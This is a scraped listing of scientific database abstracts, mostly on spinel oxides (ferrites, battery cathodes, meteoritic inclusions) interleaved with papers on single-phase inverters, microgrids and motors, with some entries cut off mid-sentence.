Zhang, Junli; Zhang, Qiang; Li, Peng; Xue, Desheng; Mellors, Nigel J; Zhang, Xixiang; Peng, Yong 2017-06-08 Low-dimensional spinel ferrites have recently attracted increasing attention because their tunable magnetic properties make them attractive candidates as spin-filtering tunnel barriers in spintronic devices and as magnetic components in artificial multiferroic heterostructures. Although we know that the distribution of cations (Fe 3+ and Co 2+ ) in a spinel structure governs its magnetic properties, their distribution in the so-called ideal inverse spinel structure of a ferrite, CoFe 2 O 4 , has not yet been imaged with sub-ångstrom resolution. In this work, we fill this gap in evidence by reporting a direct observation of the distribution of cations in an ideal inverse spinel structure of CoFe 2 O 4 nanofibres using aberration-corrected transmission electron microscopy (TEM). The ordering of Co 2+ and Fe 3+ at the octahedral sites imaged along either [001], [011] or [-112] orientation was identified as 1 : 1, in accordance with the ideal inverse spinel structure. The saturation magnetisation calculated based on the crystal structure as determined from the TEM image is in good agreement with that measured experimentally on the spinel CoFe 2 O 4 nanofibres, further confirming results from TEM. 18. Direct observation of cation distributions of ideal inverse spinel CoFe2O4 nanofibres and correlated magnetic properties KAUST Repository Zeng, Xue 2017-04-25 Low-dimensional spinel ferrites have recently attracted increasing attention because their tunable magnetic properties make them attractive candidates as spin-filtering tunnel barriers in spintronic devices and as magnetic components in artificial multiferroic heterostructures. Although we know that the distribution of cations (Fe3+ and Co2+) in a spinel structure governs its magnetic properties, their distribution in the so-called ideal inverse spinel structure of a ferrite, CoFe2O4, has not yet been imaged with sub-ångstrom resolution. In this work, we fill this gap in evidence by reporting a direct observation of the distribution of cations in an ideal inverse spinel structure of CoFe2O4 nanofibres using aberration-corrected transmission electron microscopy (TEM). The ordering of Co2+ and Fe3+ at the octahedral sites imaged along either [001], [011] or [-112] orientation was identified as 1 : 1, in accordance with the ideal inverse spinel structure. The saturation magnetisation calculated based on the crystal structure as determined from the TEM image is in good agreement with that measured experimentally on the spinel CoFe2O4 nanofibres, further confirming results from TEM. 19. A crystallographic and spectroscopic study of crystal sites in the 'spinel' structure; Etude cristallographique et spectroscopique des sites cristallins dans la structure 'spinelle' Energy Technology Data Exchange (ETDEWEB) Drifford, M. [Commissariat a l' Energie Atomique, Saclay (France). Centre d' Etudes Nucleaires 1967-06-15 A crystallographic study on magnesium aluminates led to the determination of crystal site average distortion. A spectroscopic study of transition elements doped spinels gave the position of the doping element in tetrahedral (A) or octahedral (B) sites, and the local distortion of the latter. The comparison of average and local parameters points to differences in the behaviour of doping elements and shows the size of (A) sites are independent of the host crystal composition while the average size of (B) sites varies with the composition. (author) [French] Une etude cristallographique des aluminates de magnesium a permis de determiner la deformation moyenne des sites cristallins. Une etude spectroscopique des aluminates de magnesium dopes avec des elements de transition a permis de localiser les dopants entre les sites tetraedriques (A) et octaedriques (B) et d'etudier la deformation locale de ces sites. La comparaison entre les parametres moyens et locaux a caracterise le comportement du dopant et montre que les dimensions des sites (A) sont independantes de la composition de la matrice, alors que les caracteristiques geometriques moyennes des sites (B) varient continument avec la composition. (auteur) 20. Micromagnetic simulations of spinel ferrite particles Energy Technology Data Exchange (ETDEWEB) Dantas, Christine C., E-mail: [email protected] [Divisao de Materiais (AMR), Instituto de Aeronautica e Espaco (IAE), Departamento de Ciencia e Tecnologia Aeroespacial - DCTA (Brazil); Gama, Adriana M., E-mail: [email protected] [Divisao de Materiais (AMR), Instituto de Aeronautica e Espaco (IAE), Departamento de Ciencia e Tecnologia Aeroespacial - DCTA (Brazil) 2010-10-15 This paper presents the results of simulations of the magnetization field ac response (at 2-12 GHz) of various submicron ferrite particles (cylindrical dots). The ferrites in the present simulations have the spinel structure, expressed here by M{sub 1}-{sub n}Zn{sub n}Fe{sub 2}O{sub 4} (where M stands for a divalent metal), and the parameters chosen were the following: (a) for n=0: M={l_brace}Fe, Mn, Co, Ni, Mg, Cu {r_brace}; (b) for n=0.1: M = {l_brace}Fe, Mg{r_brace} (mixed ferrites). These runs represent full 3D micromagnetic (one-particle) ferrite simulations. We find evidences of confined spin waves in all simulations, as well as a complex behavior nearby the main resonance peak in the case of the M = {l_brace}Mg, Cu{r_brace} ferrites. A comparison of the n=0 and n=0.1 cases for fixed M reveals a significant change in the spectra in M = Mg ferrites, but only a minor change in the M=Fe case. An additional larger scale simulation of a 3 by 3 particle array was performed using similar conditions of the Fe{sub 3}O{sub 4} (magnetite; n=0, M = Fe) one-particle simulation. We find that the main resonance peak of the Fe{sub 3}O{sub 4} one-particle simulation is disfigured in the corresponding 3 by 3 particle simulation, indicating the extent to which dipolar interactions are able to affect the main resonance peak in that magnetic compound. 1. An Adaptive Quadrature Signal Generation Based Single-Phase Phase-Locked Loop for Grid-Connected Applications DEFF Research Database (Denmark) Golestan, Saeed; Guerrero, Josep M.; Abusorrah, Abdullah 2017-01-01 The quadrature signal generation based phase-locked loops (QSG-PLLs) are highly popular for synchronization purposes in single-phase systems. The main difference among these PLLs often lies in the technique they use for creating the fictitious quadrature component. One of the easiest QSG approaches...... is delaying the original single-phase signal by a quarter of a cycle. The PLL with such QSG technique is often called the transfer delay based PLL (TD-PLL). The TD-PLL benefits from a simple structure, rather fast dynamic response, and a good detection accuracy when the grid frequency is at its nominal value......, but it suffers from a phase offset error and double frequency oscillatory error in the estimated phase and frequency in the presence of frequency drifts. In this paper, a simple yet effective approach to remove the aforementioned errors of the TD-PLL is proposed. The resultant PLL structure is called... 2. Covalent Hybrid of Spinel Manganese-Cobalt Oxide and Gra-phene as Advanced Oxygen Reduction Electrocatalysts OpenAIRE Liang, Yongye; Wang, Hailiang; Zhou, Jigang; Li, Yanguang; Wang, Jian; Regier, Tom; Dai, Hongjie 2012-01-01 Through direct nanoparticle nucleation and growth on nitrogen doped, reduced graphene oxide sheets and cation substitution of spinel Co3O4 nanoparticles, a manganese-cobalt spinel MnCo2O4/graphene hybrid was developed as a highly efficient electrocatalyst for oxygen reduction reaction (ORR) in alkaline conditions. Electrochemical and X-ray near edge structure (XANES) investigations revealed that the nucleation and growth method for forming inorganic-nanocarbon hybrid results in covalent coupl... 3. Servo characteristics of single-phase spindle motor in DVD-ROM Science.gov (United States) Wang, KingYin; Kuei, ChingPing; Chang, SungSan; Lee, YaoYu; Kuo, YuHung 2000-07-01 The single-phase DC motor has the low-cost advantage over 3- phase DC motor owing to its easy-assembling and high yield- rate, however, it has larger torque ripple and cogging torque. Single-phase DC motor is currently applied to low profit margin products such as cooling fan. In order to utilize single-phase DC motor to high precision system, for instance, DVD (Digital Versatile Disk), the vibration caused by torque ripple and cogging torque needs to be solved. In this paper, focusing error, tracking error, seeking ability and some velocity control performances are studied when single-phase DC motor is used in DVD related products. 4. Equivalence of two models in single-phase multicomponent flow simulations KAUST Repository Wu, Yuanqing 2016-02-28 In this work, two models to simulate the single-phase multicomponent flow in reservoirs are introduced: single-phase multicomponent flow model and two-phase compositional flow model. Because the single-phase multicomponent flow is a special case of the two-phase compositional flow, the two-phase compositional flow model can also simulate the case. We compare and analyze the two models when simulating the single-phase multicomponent flow, and then demonstrate the equivalence of the two models mathematically. An experiment is also carried out to verify the equivalence of the two models. 5. Analytical Description of Degradation-Relaxation Transformations in Nanoinhomogeneous Spinel Ceramics Science.gov (United States) Shpotyuk, O.; Brunner, M.; Hadzaman, I.; Balitska, V.; Klym, H. 2016-11-01 Mathematical models of degradation-relaxation kinetics are considered for jammed thick-film systems composed of screen-printed spinel Cu0.1Ni0.1Co1.6Mn1.2O4 and conductive Ag or Ag-Pd alloys. Structurally intrinsic nanoinhomogeneous ceramics due to Ag and Ag-Pd diffusing agents embedded in a spinel phase environment are shown to define governing kinetics of thermally induced degradation under 170 °C obeying an obvious non-exponential behavior in a negative relative resistance drift. The characteristic stretched-to-compressed exponential crossover is detected for degradation-relaxation kinetics in thick-film systems with conductive contacts made of Ag-Pd and Ag alloys. Under essential migration of a conductive phase, Ag penetrates thick-film spinel ceramics via a considerable two-step diffusing process. 6. Single-phase cadmium telluride thin films deposited by electroless electrodeposition International Nuclear Information System (INIS) Khrypunov, G.; Klochko, N.; Lyubov, V.; Li, T.; Volkova, N. 2010-01-01 Full text : Today cadmium telluride (CdTe) is a leading base material for the fabrication of thin film solar cells. Equally with the creation of traditional thin film photovoltaic devices on the base of CdTe in recent years several approaches have been investigated to develop solar cells with extremely thin (80-500 nm) CdTe absorber (so-called ηE(eta)-solar cells) that offer the potential to reduce recombination losses in the base layers and thus use low cost materials. Until today the CdTe depositions for the η-solar cells manufacture were performed by vapour phase epitaxy under dynamical vacuum at working temperature 750 degrees Celsium or by electrodeposition in the special electrochemical cell equipped with the potentiostat. Development research of simple and inexpensive method for obtaining of the single-phase stoichiometric cadmium telluride films has required an improvement of the electroless electrodeposition technique, which theretofore was characterized by some disadvantages, namely, the CdTe films were polluted by free tellurium additions and the composition of the films was Cd:Te=55:45. So, for the showing up the synthesis of doped or stoichiometric cadmium telluride films conditions and in order to decide the problem of the deposition of single-phase CdTe layers it was researched the electrochemical processes going during electroless electrolysis in sulfate solutions with different acidities and CdSO 4 concentrations. Some film samples during deposition were illuminated by 500 W halogen lamp. Deposition time was 10-15 min. The phase composition and structure of the deposited films were determined by XRD-method, the average sizes of the crystalline grains in the films were estimated using Debye-Scherer formula. The transmittance spectra of the samples were measured by double beam spectrophotometer in the spectral range of 0.6-1.1 μm. Surface morphology of the films was researched by scanning electron microscopy. By means of analysis of the 7. The effect of calcination temperature on the formation and magnetic properties of ZnMn2O4 spinel Science.gov (United States) Hermanto, B.; Ciswandi; Afriani, F.; Aryanto, D.; Sudiro, T. 2018-03-01 The spinel based on transition-metal oxides has a typical composition of AB2O4. In this study, the ZnMn2O4 spinel was synthesized using a powder metallurgy technique. The Zn and Mn metallic powders with an atomic ratio of 1:2 were mechanically alloyed for 3 hours in aqueous solution. The mixed powder was then calcined in a muffle furnace at elevated temperature of 400, 500 and 600 °C. The X-ray Diffractometer (XRD) was used to evaluate the formation of a ZnMn2O4 spinel structure. The magnetic properties of the sample at varying calcination temperatures were characterized by a Vibrating Sample Magnetometer (VSM). The results show that the fraction of ZnMn2O4 spinel formation increases with the increase of calcination temperature. The calcination temperature also affects the magnetic properties of the samples. 8. Chemical and physical characterizations of spinel ferrite nanoparticles containing Nd and B elements. Science.gov (United States) Iwamoto, Takashi; Komorida, Yuki; Mito, Masaki; Takahara, Atsushi 2010-05-15 We first succeeded in synthesizing ferrite nanoparticles containing Nd and B elements by a chemical route using a polyol process. The lattice constants of the ferrite nanoparticles were equivalent to 8.39Å of the lattice constant for Fe(3)O(4) with the spinel structure in a bulk state independently of the size in diameter and composition (Fe:Nd:B). The size in diameter was actually dominated by the amount of ligands (oleic acid and oleylamine) coating the nanoparticles and easily tuned by changing refluxing-time under reaction. The spinel-structured ferrite nanoparticles containing Nd and B elements showed large coercivity as compared to Fe(3)O(4) nanoparticles with the spinel structure, which were prepared by the same chemical method. By doping Nd and B elements into the spinel structure of ferrite, magnetic anisotropy increased in comparison with Fe(3)O(4) nanoparticles. According to the analysis of magnetization curve using the modified Langevin function, the ferrite nanoparticles displayed the coexistence of superparamagnetic and antiferromagnetic phases. The ferrite nanoparticles containing Nd and B elements exhibited magnetic core/shell structure on the basis of various magnetic properties. The interface effect between the superparamagnetic core and antiferromagnetic shell might enhance the effective magnetic anisotropy of the ferrite nanoparticles containing Nd and B elements. Copyright © 2010 Elsevier Inc. All rights reserved. 9. Single-Phase Microgrid with Seamless Transition Capabilities between Modes of Operation DEFF Research Database (Denmark) Micallef, Alexander; Apap, Maurice; Spiteri-Staines, Cyril 2015-01-01 Microgrids are an effective way to increase the penetration of DG into the grid. They are capable of operating either in grid-connected or in islanded mode thereby increasing the supply reliability for the end user. This paper focuses on achieving seamless transitions from islanded to grid......-connected and vice versa for a single phase microgrid made up from voltage controlled voltage source inverters (VC-VSIs) and current controlled voltage source inverters (CC-VSIs) working together in both modes of operation. The primary control structures for the VC-VSIs and CC-VSIs is considered together...... with the secondary control loops that are used to synchronize the microgrid as a single unit to the grid. Simulation results are given that show the seamless transitions between the two modes without any disconnection times for the CC-VSIs and VC-VSIs connected to the microgrid.... 10. Broadband single-phase hyperbolic elastic metamaterials for super-resolution imaging. Science.gov (United States) Dong, Hao-Wen; Zhao, Sheng-Dong; Wang, Yue-Sheng; Zhang, Chuanzeng 2018-02-02 Hyperbolic metamaterials, the highly anisotropic subwavelength media, immensely widen the engineering feasibilities for wave manipulation. However, limited by the empirical structural topologies, the reported hyperbolic elastic metamaterials (HEMMs) suffer from the limitations of the relatively narrow frequency width, inflexible adjustable operating subwavelength scale and difficulty to further improve the imaging resolution. Here, we show an inverse-design strategy for HEMMs by topology optimization. We design broadband single-phase HEMMs supporting multipolar resonances at different prescribed deep-subwavelength scales, and demonstrate the super-resolution imaging for longitudinal waves. Benefiting from the extreme enhancement of the evanescent waves, an optimized HEMM at an ultra-low frequency can yield an imaging resolution of ~λ/64, representing the record in the field of elastic metamaterials. The present research provides a novel and general design methodology for exploring the HEMMs with unrevealed mechanisms and guides the ultrasonography and general biomedical applications. 11. Realization of single-phase single-stage grid-connected PV system Directory of Open Access Journals (Sweden) Osama M. Arafa 2017-05-01 Full Text Available This paper presents a single phase single stage grid-tied PV system. Grid angle detection is introduced to allow operation at any arbitrary power factor but unity power factor is chosen to utilize the full inverter capacity. The system ensures MPPT using the incremental conductance method and it can track the changes in insolation level without oscillations. A PI voltage controller and a dead-beat current controller are used to ensure high quality injected current to the grid. The paper investigates the system structure and performance through numerical simulation using Matlab/Simulink. An experimental setup controlled by the MicrolabBox DSP prototyping platform is utilized to realize the system and study its performance. The precautions for smooth and safe system operation including the startup sequence are fully considered in the implementation. 12. Hybrid Three-Phase/Single-Phase Microgrid Architecture with Power Management Capabilities DEFF Research Database (Denmark) Sun, Qiuye; Zhou, Jianguo; Guerrero, Josep M. 2015-01-01 With the fast proliferation of single-phase distributed generation (DG) units and loads integrated into residential microgrids, independent power sharing per phase and full use of the energy generated by DGs have become crucial. To address these issues, this paper proposes a hybrid microgrid...... control of load power sharing among phases, as well as to allow fully utilization of the energy generated by DGs. Meanwhile, the method combining the modified adaptive backstepping-sliding mode control approach and droop control is also proposed to design the SPBTB system controllers. With the application...... of the proposed PSU and its power management strategy, the loads among different phases can be properly supplied and the energy can be fully utilized as well as obtaining better load sharing. Simulation and experimental results are provided to demonstrate the validity of the proposed hybrid microgrid structure... 13. Microstructural evidence for a disequilibrium condensation origin for hibonite-spinel inclusions in the ALHA77307 CO3.0 chondrite Science.gov (United States) Han, Jangmi; Brearley, Adrian J.; Keller, Lindsay P. 2015-12-01 Two hibonite-spinel inclusions (CAIs 03 and 08) in the ALHA77307 CO3.0 chondrite have been characterized in detail using the focused ion beam sample preparation technique combined with transmission electron microscopy. These hibonite-spinel inclusions are irregularly shaped and porous objects and consist of randomly oriented hibonite laths enclosed by aggregates of spinel with fine-grained perovskite inclusions finally surrounded by a partial rim of diopside. Melilite is an extremely rare phase in this type of CAI and occurs only in one inclusion (CAI 03) as interstitial grains between hibonite laths and on the exterior of the inclusion. The overall petrologic and mineralogical observations suggest that the hibonite-spinel inclusions represent high-temperature condensates from a cooling nebular gas. The textural relationships indicate that hibonite is the first phase to condense, followed by perovskite, spinel, and diopside. Texturally, melilite condensation appears to have occurred after spinel, suggesting that the condensation conditions were far from equilibrium. The crystallographic orientation relationships between hibonite and spinel provide evidence of epitaxial nucleation and growth of spinel on hibonite surfaces, which may have lowered the activation energy for spinel nucleation compared with that of melilite and consequently inhibited melilite condensation. Hibonite contains abundant stacking defects along the (001) plane consisting of different ratios of the spinel and Ca-containing blocks within the ideal hexagonal hibonite structure. This modification of the stacking sequence is likely the result of accommodation of excess Al in the gas into hibonite due to incomplete condensation of corundum from a cooling gas under disequilibrium conditions. We therefore conclude that these two hibonite-spinel inclusions in ALHA77307 formed by high-temperature condensation under disequilibrium conditions. 14. High power 4.7 V nanostructured spinel lithium manganese nickel oxide lithium-ion battery cathode materials Science.gov (United States) Kunduraci, Muharrem Nanostructured LiMn1.5+deltaNi0.5-deltaO 4 spinel powders were synthesized by a solution based chemistry method called modified Pechini. The impacts of processing parameters such as synthesis temperature, oxygen-partial-pressure and mole ratio of ethylene glycol to citric acid on the morphology, structure and properties of spinel materials have been studied thoroughly via various in-situ and ex-situ characterization techniques. Later, these parameters were tied with the electrochemical properties of spinel electrodes. After optimization of processing steps and glycol/acid ratio, a unique mesoporous morphology with interconnected nanoparticles were successfully obtained. Such morphology was found to be very conducive to achieve high power density lithium-ion battery spinel cathodes. This was attributed to (i) large number of mesoporosities that favor electrolyte penetration, thereby enabling better wetting of spinel cathodes and faster lithium ion transfer at electrolyte/cathode interface and (ii) particle interconnectivity that allows continuous electron transport, which becomes highly critical especially at high current rates. The synthesis temperature and oxygen-partial-pressure were found to affect the structure significantly. Depending on the ordering/disordering of transition metal ions on octahedral sites, spinels were assigned to either ordered P4 332 or disordered Fd3m space groups. The spinel of the two symmetry groups differed significantly in fast discharge rate capability. In an effort to identify the origin of this electrochemical disparity, intensive characterizations of both structures were undertaken (in-situ: XRD, Impedance spectroscopy, Raman; ex-situ: XRD, FTIR, TGA, electronic conductivity and lithium diffusivity and more). The poor performance of the ordered phase was attributed to its intrinsic properties, namely lower electronic conductivity and lithium diffusion coefficient (DLi). Regarding the former, the mechanism of electron conduction in 15. Synthesis and characterization of inverse spinels, intercalation materials for Li-ion batteries NARCIS (Netherlands) Van Landschoot, N. 2006-01-01 Chapter 2 describes the solid-state synthesis of LiNiVO4 and LiCoVO4. The materials are prepared at 800C and are phase pure, as shown by X-ray diffraction and have the inverse spinel structure. Due to the solid-state synthesis the particle size is quite large and the particle size distribution is 16. new topology for single-phase, three-level, spwm vsi with lc filter African Journals Online (AJOL) level PWM inverter. However, this is not the case with single-phase PWM inverters. In these days, the popular single-phase inverters adopt the full-bridge type using approximate sinusoidal modulation technique. The output voltage in them has two values: zero and pos- itive supply dc voltage levels in the positive half cycle. 17. Torque Analysis With Saturation Effects for Non-Salient Single-Phase Permanent-Magnet Machines DEFF Research Database (Denmark) Lu, Kaiyuan; Ritchie, Ewen 2011-01-01 The effects of saturation on torque production for non-salient, single-phase, permanent-magnet machines are studied in this paper. An analytical torque equation is proposed to predict the instantaneous torque with saturation effects. Compared to the existing methods, it is computationally faster......-element results, and experimental results obtained on a prototype single-phase permanent-magnet machine.... 18. High magnesium mobility in ternary spinel chalcogenides. Science.gov (United States) Canepa, Pieremanuele; Bo, Shou-Hang; Sai Gautam, Gopalakrishnan; Key, Baris; Richards, William D; Shi, Tan; Tian, Yaosen; Wang, Yan; Li, Juchuan; Ceder, Gerbrand 2017-11-24 Magnesium batteries appear a viable alternative to overcome the safety and energy density limitations faced by current lithium-ion technology. The development of a competitive magnesium battery is plagued by the existing notion of poor magnesium mobility in solids. Here we demonstrate by using ab initio calculations, nuclear magnetic resonance, and impedance spectroscopy measurements that substantial magnesium ion mobility can indeed be achieved in close-packed frameworks (~ 0.01-0.1 mS cm -1 at 298 K), specifically in the magnesium scandium selenide spinel. Our theoretical predictions also indicate that high magnesium ion mobility is possible in other chalcogenide spinels, opening the door for the realization of other magnesium solid ionic conductors and the eventual development of an all-solid-state magnesium battery. 19. Dielectric and impedance study of praseodymium substituted Mg-based spinel ferrites Energy Technology Data Exchange (ETDEWEB) Farid, Hafiz Muhammad Tahir, E-mail: [email protected] [Department of Physics, Bahauddin Zakariya, University Multan, 60800 (Pakistan); Ahmad, Ishtiaq; Ali, Irshad [Department of Physics, Bahauddin Zakariya, University Multan, 60800 (Pakistan); Ramay, Shahid M. [College of Science, Physics and Astronomy Department, King Saud University, P.O. Box 2455, 11451 Riyadh (Saudi Arabia); Mahmood, Asif [Chemical Engineering Department, College of Engineering, King Saud University, Riyadh (Saudi Arabia); Murtaza, G. [Centre for Advanced Studies in Physics, GC University, Lahore 5400 (Pakistan) 2017-07-15 Highlights: • Magnesium based spinel ferrites were successfully synthesized by sol-gel method. • Dielectric constant shows the normal spinel ferrites behavior. • The dc conductivity are found to decrease with increasing temperature. • The samples with low conductivity have high values of activation energy. • The Impedance decreases with increasing frequency of applied field. - Abstract: Spinel ferrites with nominal composition MgPr{sub y}Fe{sub 2−y}O{sub 4} (y = 0.00, 0.025, 0.05, 0.075, 0.10) were prepared by sol-gel method. Temperature dependent DC electrical conductivity and drift mobility were found in good agreement with each other, reflecting semiconducting behavior. The dielectric properties of all the samples as a function of frequency (1 MHz–3 GHz) were measured at room temperature. The dielectric constant and complex dielectric constant of these samples decreased with the increase of praseodymium concentration. In the present spinel ferrite, Cole–Cole plots were used to separate the grain and grain boundary’s effects. The substitution of praseodymium ions in Mg-based spinel ferrites leads to a remarkable rise of grain boundary’s resistance as compared to the grain’s resistance. As both AC conductivity and Cole–Cole plots are the functions of concentration, they reveal the dominant contribution of grain boundaries in the conduction mechanism. AC activation energy was lower than dc activation energy. Temperature dependence normalized AC susceptibility of spinel ferrites reveals that MgFe{sub 2}O{sub 4} exhibits multi domain (MD) structure with high Curie temperature while on substitution of praseodymium, MD to SD transitions occurs. The low values of conductivity and low dielectric loss make these materials best candidate for high frequency application. 20. Magnetic behavior of the oxide spinels ... Refresher Courses · Symposia · Live Streaming. Home; Journals; Pramana – Journal of Physics; Volume 58; Issue 5-6. Magnetic behavior of the oxide spinels: Li0.5Fe2.5-2AlCrO4. U N Trivedi K B Modi H H Joshi. Colossal Magnetoresistance & Other Materials Volume 58 Issue 5-6 May-June 2002 pp 1031-1034 ... 1. Evaluation of thermobarometry for spinel lherzolite fragments in alkali basalts Science.gov (United States) Ozawa, Kazuhito; Youbi, Nasrrddine; Boumehdi, Moulay Ahmed; McKenzie, Dan; Nagahara, Hiroko 2017-04-01 Geothermobarometry of solid fragments in kimberlite and alkali basalts, generally called "xenoliths", provides information on thermal and chemical structure of lithospheric and asthenospheric mantle, based on which various chemical, thermal, and rheological models of lithosphere have been constructed (e.g., Griffin et al., 2003; McKenzie et al., 2005; Ave Lallemant et al., 1980). Geothermobarometry for spinel-bearing peridotite fragments, which are frequently sampled from Phanerozoic provinces in various tectonic environments (Nixon and Davies, 1987), has essential difficulties, and it is usually believed that appropriated barometers do not exist for them (O'Reilly et al., 1997; Medaris et al., 1999). Ozawa et al. (2016; EGU) proposed a method of geothermobarometry for spinel lherzolite fragments. They applied the method to mantle fragments in alkali basalts from Bou Ibalhatene maars in the Middle Atlas in Morocco (Raffone et al. 2009; El Azzouzi et al., 2010; Witting et al., 2010; El Messbahi et al., 2015). Ozawa et al. (2016) obtained 0.5GPa pressure difference (1.5-2.0GPa) for 100°C variation in temperatures (950-1050°C). However, it is imperative to verify the results on the basis of completely independent data. There are three types of independent information: (1) time scale of solid fragment extraction, which may be provided by kinetics of reactions induced by heating and/or decompression during their entrapment in the host magma and transportation to the Earth's surface (Smith, 1999), (2) depth of the host basalt formation, which may be provided by the petrological and geochemical studies of the host basalts, and (3) lithosphere-asthenosphere boundary depths, which may be estimated by geophysical observations. Among which, (3) is shown to be consistent with the result in Ozawa et al. (2016). We here present that the estimated thermal structure just before the fragment extraction is fully supported by the information of (1) and (2). Spera (1984) reviewed 2. Exploring Lithium-Cobalt-Nickel-Oxide Spinel Electrodes for ≥3.5 V Li-Ion Cells. Science.gov (United States) Lee, Eungje; Blauwkamp, Joel; Castro, Fernando C; Wu, Jinsong; Dravid, Vinayak P; Yan, Pengfei; Wang, Chongmin; Kim, Soo; Wolverton, Christopher; Benedek, Roy; Dogan, Fulya; Park, Joong Sun; Croy, Jason R; Thackeray, Michael Makepeace 2016-10-04 Recent reports have indicated that a manganese oxide spinel component, when embedded in a relatively small concentration in layered xLi 2 MnO 3 ●(1-x)LiMO 2 (M=Ni, Mn, Co) electrode systems, can act as a stabilizer that increases their capacity, rate capability, cycle life, and first-cycle efficiency. These findings prompted us to explore the possibility of exploiting lithiated cobalt oxide spinel stabilizers by taking advantage of (1) the low mobility of cobalt ions relative to manganese and nickel ions in close-packed oxides and (2) their higher potential (~3.6 V vs. Li 0 ) relative to manganese oxide spinels (~2.9 V vs. Li 0 ) for the spinel-to-lithiated spinel electrochemical reaction. In particular, we have revisited the structural and electrochemical properties of lithiated spinels in the LiCo 1-x Ni x O 2 (0≤x≤0.2) system, first reported almost 25 years ago, by means of high-resolution (synchrotron) X-ray diffraction, transmission electron microscopy, nuclear magnetic resonance spectroscopy, electrochemical cell tests, and theoretical calculations. The results provide a deeper understanding of the complexity of intergrown layered/lithiated spinel LiCo 1-x Ni x O 2 structures, when prepared in air between 400 and 800 °C, and the impact of structural variations on their electrochemical behavior. These structures, when used in low concentration, offer the possibility of improving the cycling stability, energy, and power of high energy (≥3.5 V) lithium-ion cells. 3. Exploring Lithium-Cobalt-Nickel Oxide Spinel Electrodes for ≥3.5 V Li-Ion Cells Energy Technology Data Exchange (ETDEWEB) Lee, Eungje; Blauwkamp, Joel; Castro, Fernando C.; Wu, Jinsong; Dravid, Vinayak P.; Yan, Pengfei; Wang, Chongmin; Kim, Soo; Wolverton, Christopher; Benedek, Roy; Dogan, Fulya; Park, Joong Sun; Croy, Jason R.; Thackeray, Michael M. 2016-10-19 Recent reports have indicated that a manganese oxide spinel component, when embedded in a relatively small concentration in layered xLi2MnO3(1-x)LiMO2 (M=Ni, Mn, Co) electrode systems, can act as a stabilizer that increases their capacity, rate capability, cycle life, and first-cycle efficiency. These findings prompted us to explore the possibility of exploiting lithiated cobalt oxide spinel stabilizers by taking advantage of (1) the low mobility of cobalt ions relative to manganese and nickel ions in close-packed oxides and (2) their higher potential (~3.6 V vs. Li0) relative to manganese oxide spinels (~2.9 V vs. Li0) for the spinel-to-lithiated spinel electrochemical reaction. In particular, we have revisited the structural and electrochemical properties of lithiated spinels in the LiCo1-xNixO2 (0x0.2) system, first reported almost 25 years ago, by means of high-resolution (synchrotron) X-ray diffraction, transmission electron microscopy, nuclear magnetic resonance spectroscopy, electrochemical cell tests, and theoretical calculations. The results provide a deeper understanding of the complexity of intergrown layered/lithiated spinel LiCo1-xNixO2 structures, when prepared in air between 400 and 800 C, and the impact of structural variations on their electrochemical behavior. These structures, when used in low concentration, offer the possibility of improving the cycling stability, energy, and power of high energy (≥3.5 V) lithium-ion cells. 4. Introduction to porous spinel for refractory (high temp material Directory of Open Access Journals (Sweden) Kumar Saurav 2016-09-01 Full Text Available The paper examines thermal properties of materials. The transient pulse method was used for specific heat, thermal diffusivity and thermal conductivity determination. Porous MgO was synthesis by heating pellets at 1100 °C for 1 h. The resultant porous MgO was then immersed in 10 mol/L aluminum nitrate solution, dried, and reheated at 1300 °C for 2 h to convert it to spinel. The evaluation was performed with the help of mathematical apparatus used for study of fractal structures properties. The method results from generalized relations that were designed for study of physical properties of fractal structures. As it is shown these relations are in a good agreement with the equations used for the description of time responses of temperature for the pulse input of supplied heat. 5. Comparative analysis of the changes in local Ni/Mn environment in lithium-nickel-manganese oxides with layered and spinel structure during electrochemical extraction and reinsertion of lithium Energy Technology Data Exchange (ETDEWEB) Zhecheva, E.; Stoyanova, R. [Institute of General and Inorganic Chemistry, Bulgarian Academy of Sciences, 1113 Sofia (Bulgaria); Alcantara, R.; Lavela, P.; Tirado, J.L. [Laboratorio de Quimica Inorganica, Facultad de Ciencias, Universidad de Cordoba, 14071 Cordoba (Spain) 2007-12-06 Electron paramagnetic resonance spectroscopy was used to analyse the changes in local Ni, Mn environment in layered LiNi{sub 1/2}Mn{sub 1/2}O{sub 2} and spinel LiNi{sub 1/2}Mn{sub 3/2}O{sub 4} after electrochemical extraction and reinsertion of lithium. For layered LiNi{sub 1/2}Mn{sub 1/2}O{sub 2}, the EPR signal from Mn{sup 4+} is only detected, while residual antiferromagnetic correlations between Ni{sup 2+} and Mn{sup 4+} ions gives rise to strong resonance absorption for LiNi{sub 1/2}Mn{sub 3/2}O{sub 4} spinel. The first charge process of layered LiNi{sub 1/2}Mn{sub 1/2}O{sub 2} leads to oxidation of Ni{sup 2+} ions located both in the transition metal sites and in the Li sites. The reverse process of reduction of these nickel ions was suggested to proceed between 4.4-3.0 V and 2.5-1.4 V, respectively. Lithium extraction from LiNi{sub 1/2}Mn{sub 3/2}O{sub 4} spinel leads to oxidation of paramagnetic Ni{sup 2+} to diamagnetic Ni{sup 4+} without significant changes in the local environment of Mn{sup 4+}. For both fully delithiated compositions, Li{sub 1-x}Ni{sub 1/2}Mn{sub 1/2}O{sub 2} and Li{sub 1-x}Ni{sub 1/2}Mn{sub 3/2}O{sub 4}, an EPR spectrum from localized Mn{sup 4+} ions is observed, indicating an exhaustion of paramagnetic Ni{sup 2+} ions in the vicinity of Mn{sup 4+} ions. Furthermore, it has been found that the Mn{sup 4+} environment including paramagnetic Mn{sup 4+} and Ni{sup 2+} neighbours is restored after the first cycle of charge/discharge. (author) 6. Why ion irradiation does not lead to the same structural changes in normal spinels ZnAl{sub 2}O{sub 4}, MgAl{sub 2}O{sub 4} and MgCr{sub 2}O{sub 4}? Energy Technology Data Exchange (ETDEWEB) Baldinozzi, G. [Ceramiques Sous Irradiation, Equipe Mixte CEA Saclay and CNRS Ecole Centrale Paris, Laboratoire Structures, Proprietes et Modelisation des Solides, 92295 Chatenay-Malabry (France)], E-mail: [email protected]; Simeone, D.; Gosset, D. [Ceramiques Sous Irradiation, Equipe Mixte CEA Saclay and CNRS Ecole Centrale Paris, CEA/DEN/DANS/DMN/SRMA, 91191 Gif-sur-Yvette (France); Surble, S. [Ceramiques Sous Irradiation, Equipe Mixte CEA Saclay and CNRS Ecole Centrale Paris, Laboratoire Structures, Proprietes et Modelisation des Solides, 92295 Chatenay-Malabry (France); Mazerolles, L. [CECM, UPR CNRS 2801, 94407 Vitry-sur-Seine (France); Thome, L. [CSNSM, CNRS/IN2P3, 91405 Orsay (France) 2008-06-15 Ion irradiation induced phase transformations in three normal spinel compounds MgAl{sub 2}O{sub 4}, 